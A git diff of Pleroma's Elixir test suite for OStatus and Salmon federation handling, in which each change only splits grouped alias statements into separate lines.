	--- a/test/web/ostatus/feed_representer_test.exs
	+++ b/test/web/ostatus/feed_representer_test.exs
	@@ -1,57 +1,59 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OStatus.FeedRepresenterTest do
	use Pleroma.DataCase
	import Pleroma.Factory
	alias Pleroma.User
	- alias Pleroma.Web.OStatus.{FeedRepresenter, UserRepresenter, ActivityRepresenter}
	+ alias Pleroma.Web.OStatus.ActivityRepresenter
	+ alias Pleroma.Web.OStatus.FeedRepresenter
	+ alias Pleroma.Web.OStatus.UserRepresenter
	alias Pleroma.Web.OStatus

	test "returns a feed of the last 20 items of the user" do
	note_activity = insert(:note_activity)
	user = User.get_cached_by_ap_id(note_activity.data["actor"])

	tuple = FeedRepresenter.to_simple_form(user, [note_activity], [user])

	most_recent_update =
	note_activity.updated_at
	\|> NaiveDateTime.to_iso8601()

	res = :xmerl.export_simple_content(tuple, :xmerl_xml) \|> to_string

	user_xml =
	UserRepresenter.to_simple_form(user)
	\|> :xmerl.export_simple_content(:xmerl_xml)

	entry_xml =
	ActivityRepresenter.to_simple_form(note_activity, user)
	\|> :xmerl.export_simple_content(:xmerl_xml)

	expected = """
	<feed xmlns="http://www.w3.org/2005/Atom" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:activity="http://activitystrea.ms/spec/1.0/" xmlns:poco="http://portablecontacts.net/spec/1.0" xmlns:ostatus="http://ostatus.org/schema/1.0">
	<id>#{OStatus.feed_path(user)}</id>
	<title>#{user.nickname}'s timeline</title>
	<updated>#{most_recent_update}</updated>
	<logo>#{User.avatar_url(user)}</logo>
	<link rel="hub" href="#{OStatus.pubsub_path(user)}" />
	<link rel="salmon" href="#{OStatus.salmon_path(user)}" />
	<link rel="self" href="#{OStatus.feed_path(user)}" type="application/atom+xml" />
	<author>
	#{user_xml}
	</author>
	<link rel="next" href="#{OStatus.feed_path(user)}?max_id=#{note_activity.id}" type="application/atom+xml" />
	<entry>
	#{entry_xml}
	</entry>
	</feed>
	"""

	assert clean(res) == clean(expected)
	end

	defp clean(string) do
	String.replace(string, ~r/\s/, "")
	end
	end
	diff --git a/test/web/ostatus/incoming_documents/delete_handling_test.exs b/test/web/ostatus/incoming_documents/delete_handling_test.exs
	index d97cd79f4..d295cc539 100644
	--- a/test/web/ostatus/incoming_documents/delete_handling_test.exs
	+++ b/test/web/ostatus/incoming_documents/delete_handling_test.exs
	@@ -1,42 +1,44 @@
	defmodule Pleroma.Web.OStatus.DeleteHandlingTest do
	use Pleroma.DataCase

	import Pleroma.Factory
	import Tesla.Mock

	- alias Pleroma.{Repo, Activity, Object}
	+ alias Pleroma.Repo
	+ alias Pleroma.Activity
	+ alias Pleroma.Object
	alias Pleroma.Web.OStatus

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe "deletions" do
	test "it removes the mentioned activity" do
	note = insert(:note_activity)
	second_note = insert(:note_activity)
	user = insert(:user)
	object = Object.get_by_ap_id(note.data["object"]["id"])

	{:ok, like, _object} = Pleroma.Web.ActivityPub.ActivityPub.like(user, object)

	incoming =
	File.read!("test/fixtures/delete.xml")
	\|> String.replace(
	"tag:mastodon.sdf.org,2017-06-10:objectId=310513:objectType=Status",
	note.data["object"]["id"]
	)

	{:ok, [delete]} = OStatus.handle_incoming(incoming)

	refute Repo.get(Activity, note.id)
	refute Repo.get(Activity, like.id)
	assert Object.get_by_ap_id(note.data["object"]["id"]).data["type"] == "Tombstone"
	assert Repo.get(Activity, second_note.id)
	assert Object.get_by_ap_id(second_note.data["object"]["id"])

	assert delete.data["type"] == "Delete"
	end
	end
	end
	diff --git a/test/web/ostatus/ostatus_controller_test.exs b/test/web/ostatus/ostatus_controller_test.exs
	index 3145ca9a1..da9c72be8 100644
	--- a/test/web/ostatus/ostatus_controller_test.exs
	+++ b/test/web/ostatus/ostatus_controller_test.exs
	@@ -1,239 +1,241 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OStatus.OStatusControllerTest do
	use Pleroma.Web.ConnCase
	import Pleroma.Factory
	- alias Pleroma.{User, Repo, Object}
	+ alias Pleroma.User
	+ alias Pleroma.Repo
	+ alias Pleroma.Object
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.OStatus.ActivityRepresenter

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe "salmon_incoming" do
	test "decodes a salmon", %{conn: conn} do
	user = insert(:user)
	salmon = File.read!("test/fixtures/salmon.xml")

	conn =
	conn
	\|> put_req_header("content-type", "application/atom+xml")
	\|> post("/users/#{user.nickname}/salmon", salmon)

	assert response(conn, 200)
	end

	test "decodes a salmon with a changed magic key", %{conn: conn} do
	user = insert(:user)
	salmon = File.read!("test/fixtures/salmon.xml")

	conn =
	conn
	\|> put_req_header("content-type", "application/atom+xml")
	\|> post("/users/#{user.nickname}/salmon", salmon)

	assert response(conn, 200)

	# Set a wrong magic-key for a user so it has to refetch
	salmon_user = User.get_by_ap_id("http://gs.example.org:4040/index.php/user/1")
	# Wrong key
	info_cng =
	User.Info.remote_user_creation(salmon_user.info, %{
	magic_key:
	"RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwrong1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB"
	})

	salmon_user
	\|> Ecto.Changeset.change()
	\|> Ecto.Changeset.put_embed(:info, info_cng)
	\|> Repo.update()

	conn =
	build_conn()
	\|> put_req_header("content-type", "application/atom+xml")
	\|> post("/users/#{user.nickname}/salmon", salmon)

	assert response(conn, 200)
	end
	end

	test "gets a feed", %{conn: conn} do
	note_activity = insert(:note_activity)
	user = User.get_cached_by_ap_id(note_activity.data["actor"])

	conn =
	conn
	\|> put_req_header("content-type", "application/atom+xml")
	\|> get("/users/#{user.nickname}/feed.atom")

	assert response(conn, 200) =~ note_activity.data["object"]["content"]
	end

	test "returns 404 for a missing feed", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/atom+xml")
	\|> get("/users/nonexisting/feed.atom")

	assert response(conn, 404)
	end

	test "gets an object", %{conn: conn} do
	note_activity = insert(:note_activity)
	user = User.get_by_ap_id(note_activity.data["actor"])
	[_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["object"]["id"]))
	url = "/objects/#{uuid}"

	conn =
	conn
	\|> put_req_header("accept", "application/xml")
	\|> get(url)

	expected =
	ActivityRepresenter.to_simple_form(note_activity, user, true)
	\|> ActivityRepresenter.wrap_with_entry()
	\|> :xmerl.export_simple(:xmerl_xml)
	\|> to_string

	assert response(conn, 200) == expected
	end

	test "404s on private objects", %{conn: conn} do
	note_activity = insert(:direct_note_activity)
	[_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["object"]["id"]))

	conn
	\|> get("/objects/#{uuid}")
	\|> response(404)
	end

	test "404s on nonexisting objects", %{conn: conn} do
	conn
	\|> get("/objects/123")
	\|> response(404)
	end

	test "gets an activity in xml format", %{conn: conn} do
	note_activity = insert(:note_activity)
	[_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"]))

	conn
	\|> put_req_header("accept", "application/xml")
	\|> get("/activities/#{uuid}")
	\|> response(200)
	end

	test "404s on deleted objects", %{conn: conn} do
	note_activity = insert(:note_activity)
	[_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["object"]["id"]))
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])

	conn
	\|> put_req_header("accept", "application/xml")
	\|> get("/objects/#{uuid}")
	\|> response(200)

	Object.delete(object)

	conn
	\|> put_req_header("accept", "application/xml")
	\|> get("/objects/#{uuid}")
	\|> response(404)
	end

	test "404s on private activities", %{conn: conn} do
	note_activity = insert(:direct_note_activity)
	[_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"]))

	conn
	\|> get("/activities/#{uuid}")
	\|> response(404)
	end

	test "404s on nonexistent activities", %{conn: conn} do
	conn
	\|> get("/activities/123")
	\|> response(404)
	end

	test "gets a notice in xml format", %{conn: conn} do
	note_activity = insert(:note_activity)

	conn
	\|> get("/notice/#{note_activity.id}")
	\|> response(200)
	end

	test "gets a notice in AS2 format", %{conn: conn} do
	note_activity = insert(:note_activity)

	conn
	\|> put_req_header("accept", "application/activity+json")
	\|> get("/notice/#{note_activity.id}")
	\|> json_response(200)
	end

	test "only gets a notice in AS2 format for Create messages", %{conn: conn} do
	note_activity = insert(:note_activity)
	url = "/notice/#{note_activity.id}"

	conn =
	conn
	\|> put_req_header("accept", "application/activity+json")
	\|> get(url)

	assert json_response(conn, 200)

	user = insert(:user)

	{:ok, like_activity, _} = CommonAPI.favorite(note_activity.id, user)
	url = "/notice/#{like_activity.id}"

	assert like_activity.data["type"] == "Like"

	conn =
	build_conn()
	\|> put_req_header("accept", "application/activity+json")
	\|> get(url)

	assert response(conn, 404)
	end

	test "gets an activity in AS2 format", %{conn: conn} do
	note_activity = insert(:note_activity)
	[_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"]))
	url = "/activities/#{uuid}"

	conn =
	conn
	\|> put_req_header("accept", "application/activity+json")
	\|> get(url)

	assert json_response(conn, 200)
	end

	test "404s a private notice", %{conn: conn} do
	note_activity = insert(:direct_note_activity)
	url = "/notice/#{note_activity.id}"

	conn =
	conn
	\|> get(url)

	assert response(conn, 404)
	end

	test "404s a nonexisting notice", %{conn: conn} do
	url = "/notice/123"

	conn =
	conn
	\|> get(url)

	assert response(conn, 404)
	end
	end
	diff --git a/test/web/ostatus/ostatus_test.exs b/test/web/ostatus/ostatus_test.exs
	index dbe5de2e2..b4b19ab05 100644
	--- a/test/web/ostatus/ostatus_test.exs
	+++ b/test/web/ostatus/ostatus_test.exs
	@@ -1,542 +1,546 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OStatusTest do
	use Pleroma.DataCase
	alias Pleroma.Web.OStatus
	alias Pleroma.Web.XML
	- alias Pleroma.{Object, Repo, User, Activity, Instances}
	+ alias Pleroma.Object
	+ alias Pleroma.Repo
	+ alias Pleroma.User
	+ alias Pleroma.Activity
	+ alias Pleroma.Instances
	import Pleroma.Factory
	import ExUnit.CaptureLog

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "don't insert create notes twice" do
	incoming = File.read!("test/fixtures/incoming_note_activity.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)
	assert {:ok, [activity]} == OStatus.handle_incoming(incoming)
	end

	test "handle incoming note - GS, Salmon" do
	incoming = File.read!("test/fixtures/incoming_note_activity.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	user = User.get_by_ap_id(activity.data["actor"])
	assert user.info.note_count == 1
	assert activity.data["type"] == "Create"
	assert activity.data["object"]["type"] == "Note"

	assert activity.data["object"]["id"] ==
	"tag:gs.example.org:4040,2017-04-23:noticeId=29:objectType=note"

	assert activity.data["published"] == "2017-04-23T14:51:03+00:00"
	assert activity.data["object"]["published"] == "2017-04-23T14:51:03+00:00"

	assert activity.data["context"] ==
	"tag:gs.example.org:4040,2017-04-23:objectType=thread:nonce=f09e22f58abd5c7b"

	assert "http://pleroma.example.org:4000/users/lain3" in activity.data["to"]
	assert activity.data["object"]["emoji"] == %{"marko" => "marko.png", "reimu" => "reimu.png"}
	assert activity.local == false
	end

	test "handle incoming notes - GS, subscription" do
	incoming = File.read!("test/fixtures/ostatus_incoming_post.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Create"
	assert activity.data["object"]["type"] == "Note"
	assert activity.data["object"]["actor"] == "https://social.heldscal.la/user/23211"
	assert activity.data["object"]["content"] == "Will it blend?"
	user = User.get_cached_by_ap_id(activity.data["actor"])
	assert User.ap_followers(user) in activity.data["to"]
	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	end

	test "handle incoming notes with attachments - GS, subscription" do
	incoming = File.read!("test/fixtures/incoming_websub_gnusocial_attachments.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Create"
	assert activity.data["object"]["type"] == "Note"
	assert activity.data["object"]["actor"] == "https://social.heldscal.la/user/23211"
	assert activity.data["object"]["attachment"] \|> length == 2
	assert activity.data["object"]["external_url"] == "https://social.heldscal.la/notice/2020923"
	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	end

	test "handle incoming notes with tags" do
	incoming = File.read!("test/fixtures/ostatus_incoming_post_tag.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	assert activity.data["object"]["tag"] == ["nsfw"]
	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	end

	test "handle incoming notes - Mastodon, salmon, reply" do
	# It uses the context of the replied to object
	Repo.insert!(%Object{
	data: %{
	"id" => "https://pleroma.soykaf.com/objects/c237d966-ac75-4fe3-a87a-d89d71a3a7a4",
	"context" => "2hu"
	}
	})

	incoming = File.read!("test/fixtures/incoming_reply_mastodon.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Create"
	assert activity.data["object"]["type"] == "Note"
	assert activity.data["object"]["actor"] == "https://mastodon.social/users/lambadalambda"
	assert activity.data["context"] == "2hu"
	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	end

	test "handle incoming notes - Mastodon, with CW" do
	incoming = File.read!("test/fixtures/mastodon-note-cw.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Create"
	assert activity.data["object"]["type"] == "Note"
	assert activity.data["object"]["actor"] == "https://mastodon.social/users/lambadalambda"
	assert activity.data["object"]["summary"] == "technologic"
	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	end

	test "handle incoming unlisted messages, put public into cc" do
	incoming = File.read!("test/fixtures/mastodon-note-unlisted.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)
	refute "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["cc"]
	refute "https://www.w3.org/ns/activitystreams#Public" in activity.data["object"]["to"]
	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["object"]["cc"]
	end

	test "handle incoming retweets - Mastodon, with CW" do
	incoming = File.read!("test/fixtures/cw_retweet.xml")
	{:ok, [[_activity, retweeted_activity]]} = OStatus.handle_incoming(incoming)

	assert retweeted_activity.data["object"]["summary"] == "Hey."
	end

	test "handle incoming notes - GS, subscription, reply" do
	incoming = File.read!("test/fixtures/ostatus_incoming_reply.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Create"
	assert activity.data["object"]["type"] == "Note"
	assert activity.data["object"]["actor"] == "https://social.heldscal.la/user/23211"

	assert activity.data["object"]["content"] ==
	"@<a href=\"https://gs.archae.me/user/4687\" class=\"h-card u-url p-nickname mention\" title=\"shpbot\">shpbot</a> why not indeed."

	assert activity.data["object"]["inReplyTo"] ==
	"tag:gs.archae.me,2017-04-30:noticeId=778260:objectType=note"

	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	end

	test "handle incoming retweets - GS, subscription" do
	incoming = File.read!("test/fixtures/share-gs.xml")
	{:ok, [[activity, retweeted_activity]]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Announce"
	assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
	assert activity.data["object"] == retweeted_activity.data["object"]["id"]
	assert "https://pleroma.soykaf.com/users/lain" in activity.data["to"]
	refute activity.local

	retweeted_activity = Repo.get(Activity, retweeted_activity.id)
	assert retweeted_activity.data["type"] == "Create"
	assert retweeted_activity.data["actor"] == "https://pleroma.soykaf.com/users/lain"
	refute retweeted_activity.local
	assert retweeted_activity.data["object"]["announcement_count"] == 1
	assert String.contains?(retweeted_activity.data["object"]["content"], "mastodon")
	refute String.contains?(retweeted_activity.data["object"]["content"], "Test account")
	end

	test "handle incoming retweets - GS, subscription - local message" do
	incoming = File.read!("test/fixtures/share-gs-local.xml")
	note_activity = insert(:note_activity)
	user = User.get_cached_by_ap_id(note_activity.data["actor"])

	incoming =
	incoming
	\|> String.replace("LOCAL_ID", note_activity.data["object"]["id"])
	\|> String.replace("LOCAL_USER", user.ap_id)

	{:ok, [[activity, retweeted_activity]]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Announce"
	assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
	assert activity.data["object"] == retweeted_activity.data["object"]["id"]
	assert user.ap_id in activity.data["to"]
	refute activity.local

	retweeted_activity = Repo.get(Activity, retweeted_activity.id)
	assert note_activity.id == retweeted_activity.id
	assert retweeted_activity.data["type"] == "Create"
	assert retweeted_activity.data["actor"] == user.ap_id
	assert retweeted_activity.local
	assert retweeted_activity.data["object"]["announcement_count"] == 1
	end

	test "handle incoming retweets - Mastodon, salmon" do
	incoming = File.read!("test/fixtures/share.xml")
	{:ok, [[activity, retweeted_activity]]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Announce"
	assert activity.data["actor"] == "https://mastodon.social/users/lambadalambda"
	assert activity.data["object"] == retweeted_activity.data["object"]["id"]

	assert activity.data["id"] ==
	"tag:mastodon.social,2017-05-03:objectId=4934452:objectType=Status"

	refute activity.local
	assert retweeted_activity.data["type"] == "Create"
	assert retweeted_activity.data["actor"] == "https://pleroma.soykaf.com/users/lain"
	refute retweeted_activity.local
	refute String.contains?(retweeted_activity.data["object"]["content"], "Test account")
	end

	test "handle incoming favorites - GS, websub" do
	capture_log(fn ->
	incoming = File.read!("test/fixtures/favorite.xml")
	{:ok, [[activity, favorited_activity]]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Like"
	assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
	assert activity.data["object"] == favorited_activity.data["object"]["id"]

	assert activity.data["id"] ==
	"tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061643:2017-05-05T09:12:50+00:00"

	refute activity.local
	assert favorited_activity.data["type"] == "Create"
	assert favorited_activity.data["actor"] == "https://shitposter.club/user/1"

	assert favorited_activity.data["object"]["id"] ==
	"tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"

	refute favorited_activity.local
	end)
	end

	test "handle conversation references" do
	incoming = File.read!("test/fixtures/mastodon_conversation.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	assert activity.data["context"] ==
	"tag:mastodon.social,2017-08-28:objectId=7876885:objectType=Conversation"
	end

	test "handle incoming favorites with locally available object - GS, websub" do
	note_activity = insert(:note_activity)

	incoming =
	File.read!("test/fixtures/favorite_with_local_note.xml")
	\|> String.replace("localid", note_activity.data["object"]["id"])

	{:ok, [[activity, favorited_activity]]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Like"
	assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
	assert activity.data["object"] == favorited_activity.data["object"]["id"]
	refute activity.local
	assert note_activity.id == favorited_activity.id
	assert favorited_activity.local
	end

	test "handle incoming replies" do
	incoming = File.read!("test/fixtures/incoming_note_activity_answer.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Create"
	assert activity.data["object"]["type"] == "Note"

	assert activity.data["object"]["inReplyTo"] ==
	"http://pleroma.example.org:4000/objects/55bce8fc-b423-46b1-af71-3759ab4670bc"

	assert "http://pleroma.example.org:4000/users/lain5" in activity.data["to"]

	assert activity.data["object"]["id"] ==
	"tag:gs.example.org:4040,2017-04-25:noticeId=55:objectType=note"

	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	end

	test "handle incoming follows" do
	incoming = File.read!("test/fixtures/follow.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)
	assert activity.data["type"] == "Follow"

	assert activity.data["id"] ==
	"tag:social.heldscal.la,2017-05-07:subscription:23211:person:44803:2017-05-07T09:54:48+00:00"

	assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
	assert activity.data["object"] == "https://pawoo.net/users/pekorino"
	refute activity.local

	follower = User.get_by_ap_id(activity.data["actor"])
	followed = User.get_by_ap_id(activity.data["object"])

	assert User.following?(follower, followed)
	end

	test "handle incoming unfollows with existing follow" do
	incoming_follow = File.read!("test/fixtures/follow.xml")
	{:ok, [_activity]} = OStatus.handle_incoming(incoming_follow)

	incoming = File.read!("test/fixtures/unfollow.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Undo"

	assert activity.data["id"] ==
	"undo:tag:social.heldscal.la,2017-05-07:subscription:23211:person:44803:2017-05-07T09:54:48+00:00"

	assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
	assert is_map(activity.data["object"])
	assert activity.data["object"]["type"] == "Follow"
	assert activity.data["object"]["object"] == "https://pawoo.net/users/pekorino"
	refute activity.local

	follower = User.get_by_ap_id(activity.data["actor"])
	followed = User.get_by_ap_id(activity.data["object"]["object"])

	refute User.following?(follower, followed)
	end

	test "it clears `unreachable` federation status of the sender" do
	incoming_reaction_xml = File.read!("test/fixtures/share-gs.xml")
	doc = XML.parse_document(incoming_reaction_xml)
	actor_uri = XML.string_from_xpath("//author/uri[1]", doc)
	reacted_to_author_uri = XML.string_from_xpath("//author/uri[2]", doc)

	Instances.set_consistently_unreachable(actor_uri)
	Instances.set_consistently_unreachable(reacted_to_author_uri)
	refute Instances.reachable?(actor_uri)
	refute Instances.reachable?(reacted_to_author_uri)

	{:ok, _} = OStatus.handle_incoming(incoming_reaction_xml)
	assert Instances.reachable?(actor_uri)
	refute Instances.reachable?(reacted_to_author_uri)
	end

	describe "new remote user creation" do
	test "returns local users" do
	local_user = insert(:user)
	{:ok, user} = OStatus.find_or_make_user(local_user.ap_id)

	assert user == local_user
	end

	test "tries to use the information in poco fields" do
	uri = "https://social.heldscal.la/user/23211"

	{:ok, user} = OStatus.find_or_make_user(uri)

	user = Repo.get(Pleroma.User, user.id)
	assert user.name == "Constance Variable"
	assert user.nickname == "lambadalambda@social.heldscal.la"
	assert user.local == false
	assert user.info.uri == uri
	assert user.ap_id == uri
	assert user.bio == "Call me Deacon Blues."
	assert user.avatar["type"] == "Image"

	{:ok, user_again} = OStatus.find_or_make_user(uri)

	assert user == user_again
	end

	test "find_or_make_user sets all the nessary input fields" do
	uri = "https://social.heldscal.la/user/23211"
	{:ok, user} = OStatus.find_or_make_user(uri)

	assert user.info ==
	%Pleroma.User.Info{
	id: user.info.id,
	ap_enabled: false,
	background: %{},
	banner: %{},
	blocks: [],
	deactivated: false,
	default_scope: "public",
	domain_blocks: [],
	follower_count: 0,
	is_admin: false,
	is_moderator: false,
	keys: nil,
	locked: false,
	no_rich_text: false,
	note_count: 0,
	settings: nil,
	source_data: %{},
	hub: "https://social.heldscal.la/main/push/hub",
	magic_key:
	"RSA.uzg6r1peZU0vXGADWxGJ0PE34WvmhjUmydbX5YYdOiXfODVLwCMi1umGoqUDm-mRu4vNEdFBVJU1CpFA7dKzWgIsqsa501i2XqElmEveXRLvNRWFB6nG03Q5OUY2as8eE54BJm0p20GkMfIJGwP6TSFb-ICp3QjzbatuSPJ6xCE=.AQAB",
	salmon: "https://social.heldscal.la/main/salmon/user/23211",
	topic: "https://social.heldscal.la/api/statuses/user_timeline/23211.atom",
	uri: "https://social.heldscal.la/user/23211"
	}
	end

	test "find_make_or_update_user takes an author element and returns an updated user" do
	uri = "https://social.heldscal.la/user/23211"

	{:ok, user} = OStatus.find_or_make_user(uri)
	old_name = user.name
	old_bio = user.bio
	change = Ecto.Changeset.change(user, %{avatar: nil, bio: nil, old_name: nil})

	{:ok, user} = Repo.update(change)
	refute user.avatar

	doc = XML.parse_document(File.read!("test/fixtures/23211.atom"))
	[author] = :xmerl_xpath.string('//author[1]', doc)
	{:ok, user} = OStatus.find_make_or_update_user(author)
	assert user.avatar["type"] == "Image"
	assert user.name == old_name
	assert user.bio == old_bio

	{:ok, user_again} = OStatus.find_make_or_update_user(author)
	assert user_again == user
	end
	end

	describe "gathering user info from a user id" do
	test "it returns user info in a hash" do
	user = "shp@social.heldscal.la"

	# TODO: make test local
	{:ok, data} = OStatus.gather_user_info(user)

	expected = %{
	"hub" => "https://social.heldscal.la/main/push/hub",
	"magic_key" =>
	"RSA.wQ3i9UA0qmAxZ0WTIp4a-waZn_17Ez1pEEmqmqoooRsG1_BvpmOvLN0G2tEcWWxl2KOtdQMCiPptmQObeZeuj48mdsDZ4ArQinexY2hCCTcbV8Xpswpkb8K05RcKipdg07pnI7tAgQ0VWSZDImncL6YUGlG5YN8b5TjGOwk2VG8=.AQAB",
	"name" => "shp",
	"nickname" => "shp",
	"salmon" => "https://social.heldscal.la/main/salmon/user/29191",
	"subject" => "acct:shp@social.heldscal.la",
	"topic" => "https://social.heldscal.la/api/statuses/user_timeline/29191.atom",
	"uri" => "https://social.heldscal.la/user/29191",
	"host" => "social.heldscal.la",
	"fqn" => user,
	"bio" => "cofe",
	"avatar" => %{
	"type" => "Image",
	"url" => [
	%{
	"href" => "https://social.heldscal.la/avatar/29191-original-20170421154949.jpeg",
	"mediaType" => "image/jpeg",
	"type" => "Link"
	}
	]
	},
	"subscribe_address" => "https://social.heldscal.la/main/ostatussub?profile={uri}",
	"ap_id" => nil
	}

	assert data == expected
	end

	test "it works with the uri" do
	user = "https://social.heldscal.la/user/29191"

	# TODO: make test local
	{:ok, data} = OStatus.gather_user_info(user)

	expected = %{
	"hub" => "https://social.heldscal.la/main/push/hub",
	"magic_key" =>
	"RSA.wQ3i9UA0qmAxZ0WTIp4a-waZn_17Ez1pEEmqmqoooRsG1_BvpmOvLN0G2tEcWWxl2KOtdQMCiPptmQObeZeuj48mdsDZ4ArQinexY2hCCTcbV8Xpswpkb8K05RcKipdg07pnI7tAgQ0VWSZDImncL6YUGlG5YN8b5TjGOwk2VG8=.AQAB",
	"name" => "shp",
	"nickname" => "shp",
	"salmon" => "https://social.heldscal.la/main/salmon/user/29191",
	"subject" => "https://social.heldscal.la/user/29191",
	"topic" => "https://social.heldscal.la/api/statuses/user_timeline/29191.atom",
	"uri" => "https://social.heldscal.la/user/29191",
	"host" => "social.heldscal.la",
	"fqn" => user,
	"bio" => "cofe",
	"avatar" => %{
	"type" => "Image",
	"url" => [
	%{
	"href" => "https://social.heldscal.la/avatar/29191-original-20170421154949.jpeg",
	"mediaType" => "image/jpeg",
	"type" => "Link"
	}
	]
	},
	"subscribe_address" => "https://social.heldscal.la/main/ostatussub?profile={uri}",
	"ap_id" => nil
	}

	assert data == expected
	end
	end

	describe "fetching a status by it's HTML url" do
	test "it builds a missing status from an html url" do
	capture_log(fn ->
	url = "https://shitposter.club/notice/2827873"
	{:ok, [activity]} = OStatus.fetch_activity_from_url(url)

	assert activity.data["actor"] == "https://shitposter.club/user/1"

	assert activity.data["object"]["id"] ==
	"tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"
	end)
	end

	test "it works for atom notes, too" do
	url = "https://social.sakamoto.gq/objects/0ccc1a2c-66b0-4305-b23a-7f7f2b040056"
	{:ok, [activity]} = OStatus.fetch_activity_from_url(url)
	assert activity.data["actor"] == "https://social.sakamoto.gq/users/eal"
	assert activity.data["object"]["id"] == url
	end
	end

	test "it doesn't add nil in the to field" do
	incoming = File.read!("test/fixtures/nil_mention_entry.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	assert activity.data["to"] == [
	"http://localhost:4001/users/atarifrosch@social.stopwatchingus-heidelberg.de/followers",
	"https://www.w3.org/ns/activitystreams#Public"
	]
	end

	describe "is_representable?" do
	test "Note objects are representable" do
	note_activity = insert(:note_activity)

	assert OStatus.is_representable?(note_activity)
	end

	test "Article objects are not representable" do
	note_activity = insert(:note_activity)

	note_object = Object.normalize(note_activity.data["object"])

	note_data =
	note_object.data
	\|> Map.put("type", "Article")

	Cachex.clear(:object_cache)

	cs = Object.change(note_object, %{data: note_data})
	{:ok, _article_object} = Repo.update(cs)

	# the underlying object is now an Article instead of a note, so this should fail
	refute OStatus.is_representable?(note_activity)
	end
	end
	end
	diff --git a/test/web/salmon/salmon_test.exs b/test/web/salmon/salmon_test.exs
	index c539a28b2..9e583ba40 100644
	--- a/test/web/salmon/salmon_test.exs
	+++ b/test/web/salmon/salmon_test.exs
	@@ -1,109 +1,111 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Salmon.SalmonTest do
	use Pleroma.DataCase
	alias Pleroma.Web.Salmon
	- alias Pleroma.{Repo, Activity, User}
	+ alias Pleroma.Activity
	+ alias Pleroma.Repo
	+ alias Pleroma.User
	import Pleroma.Factory

